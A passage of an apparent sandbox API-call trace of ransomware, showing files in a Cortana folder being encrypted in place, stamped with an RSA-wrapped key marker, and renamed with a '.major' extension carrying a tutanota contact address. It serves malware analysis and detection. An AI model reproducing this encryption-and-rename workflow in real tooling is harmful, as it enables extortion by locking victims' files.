(hObject=0x1b0c) returned 1 [0249.473] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.488] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.488] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt", dwFileAttributes=0x80) returned 1 [0249.489] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0249.489] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=40479) returned 1 [0249.489] ReadFile (in: hFile=0x1b0c, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x9e1f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x9e1f, lpOverlapped=0x0) returned 1 [0249.589] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-40479, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.589] WriteFile (in: hFile=0x1b0c, lpBuffer=0x33fee40*, nNumberOfBytesToWrite=0x9e1f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33fee40*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9e1f, lpOverlapped=0x0) returned 1 [0249.589] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9e1f [0249.589] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.589] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.589] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.589] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.590] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.590] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="QYy7A4xw0r9nvZwoTgeR8QKFLgZrf7aoVcNXAvOBjc68QsTeV4JAvEZI+QdVFFr0\n288w0KGnbkQKQbIVoGArd2A6hZGEancvUXBtnO4rVoXtjHNcm6HzdyIPPzlhfo3Y\nbX16e3GPwKBGGDJW1yjeUhrWXlax30vF+n6Cn9CIZsGHSO7pnAEQ2g99Wdg4Smuq\n0akmbpFyOeJeVjNm4Atg7P42OYyU9hhndZLoa0pqojOa0z33TiHj0xFSXX4bqnIg\nZK+YNwm+e71g/yIn7kLm0x84fOXBb4IVpM1fzOLYZ2n0HXSMfxY2uhUZm7lUwWqI\nwAK06afOK1tmppUW892oTg==\n", pcchString=0x2e3f9a8) returned 1 [0249.590] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.590] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.590] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.590] CloseHandle (hObject=0x1b0c) returned 1 [0249.590] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.592] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.592] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt", dwFileAttributes=0x80) returned 1 [0249.593] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0249.593] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=31582) returned 1 [0249.593] ReadFile (in: hFile=0x1b0c, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x7b5e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x7b5e, lpOverlapped=0x0) returned 1 [0249.635] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-31582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.635] WriteFile (in: hFile=0x1b0c, lpBuffer=0x33fcb80*, nNumberOfBytesToWrite=0x7b5e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33fcb80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7b5e, lpOverlapped=0x0) returned 1 [0249.635] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7b5e [0249.635] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.636] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.636] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.636] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.636] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.636] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NeDD0VIhM8+IZQ2Zcc3mop6pSUWaxYrvbVsvdqzC99FwSGA8DJpCCElrtf8+RdnL\n/jHZwGEyTwWerkf9HOyoacWwNmmNFtPohxt39Hun8yAbhKhcZj5t7+/+fZZR3A+5\nZm+hODQkwScN/e9nSTQa3QwSal0WUj07XpId72rSgEMD7tVfT6AiL7K3LHiKBlg+\nUKcvCijt5ZlLGGFLH04kfuvt000vryvPq2Hf470LF2oSMcNN5BZtDxsWpMGDimcC\ntaT6QFF3PbZ0fW3DyQf44CP1m6C2PBb1Cj0c1ei00gyYMJeGP3tpbRA9W3vPTN6u\nJuNHxsJ0fXeEN01S0vTYQw==\n", pcchString=0x2e3f9a8) returned 1 [0249.636] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.636] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.636] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.636] CloseHandle (hObject=0x1b0c) returned 1 [0249.636] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.638] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.638] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema", dwFileAttributes=0x80) returned 1 [0249.639] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0249.639] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=162) returned 1 [0249.639] ReadFile (in: hFile=0x1b0c, lpBuffer=0x5ab948, nNumberOfBytesToRead=0xa2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ab948*, lpNumberOfBytesRead=0x2e3f9b4*=0xa2, lpOverlapped=0x0) returned 1 [0249.640] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.640] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5ab9f8*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ab9f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa2, lpOverlapped=0x0) returned 1 [0249.640] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa2 [0249.640] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.640] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.641] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.641] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.641] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.641] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="iycZ1AT9/pdKtTBNd/8gdv7yUeiBrkf9QzS4SdfdnSigPgBkwQLHCIj3mrEgpMe6\n4F80sB6hxLHIusd7pjPfUmueGb9/XuJrDIZTSErkoHKNRSz6tLym3fkyluz73xcD\nUi4AWEuq462V6G5IPCP1CUtvPenMNq+SSVmbjzpiFhkkIEk7euWOpoZhDB358pSQ\n/IbpiBexAHreC5JJbf4IGNrng1NZPpNM6+/g4Gft00Z72a81VetMVhLmR25Ff1uH\nHK/UjRpO3vZ4IpfZNywqCAqRNdZgm6KHqaiCz8eeorWAUAB496FPe9A1Wi4+RL1d\neXLz6lmrcqnFlMYV8hLlhA==\n", pcchString=0x2e3f9a8) returned 1 [0249.641] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.641] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.641] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.641] CloseHandle (hObject=0x1b0c) returned 1 [0249.641] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.schema.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.643] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.643] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg", dwFileAttributes=0x80) returned 1 [0249.644] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0249.644] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=290) returned 1 [0249.644] ReadFile (in: hFile=0x1b0c, lpBuffer=0x581478, nNumberOfBytesToRead=0x122, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesRead=0x2e3f9b4*=0x122, lpOverlapped=0x0) returned 1 [0249.645] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.645] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5bd3b8*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x122, lpOverlapped=0x0) returned 1 [0249.645] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x122 [0249.645] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.645] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.645] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.645] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.645] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.646] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="X7tGEggeLcIpaS9+IoF6vTcMgLY2FtYhTIQJkuUe5T3WcjaEA1pR05aPdK7vIxRB\nQggc1Ck6GmtFMsv4OgGB3NPabPphbpWpbShwfUOgLnw4v13LspSsGRUt2tpbPnAa\nffnCIjPhGYTW8ML+fjjppRUp9YEBOwyGrOVGa3ncGJwGnwUVbGnfp9Em3LkFzni3\npOrFThdZQ7fMjjr7wRfxBi/K/QZvGV3lqZ9KvHt7/PC6IF239VmeVYDdTDAPgy9f\n4Pvfntp7Jjr96TiQOCIjjNwFScXUvhANuy0J0w3MfyhKrE5lP5/hai76l7vhjWMF\n8isOK7iT0LZPCGRmH0fLEg==\n", pcchString=0x2e3f9a8) returned 1 [0249.646] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.646] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.646] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.646] CloseHandle (hObject=0x1b0c) returned 1 [0249.646] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settings.csg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.648] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.648] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt", dwFileAttributes=0x80) returned 1 [0249.648] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0249.649] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=81243) returned 1 [0249.649] ReadFile (in: hFile=0x1b0c, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x13d5b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x13d5b, lpOverlapped=0x0) returned 1 [0249.689] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-81243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.689] WriteFile (in: hFile=0x1b0c, lpBuffer=0x3408d80*, nNumberOfBytesToWrite=0x13d5b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3408d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13d5b, lpOverlapped=0x0) returned 1 [0249.690] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13d5b [0249.690] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.690] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.690] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.690] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.690] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.690] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 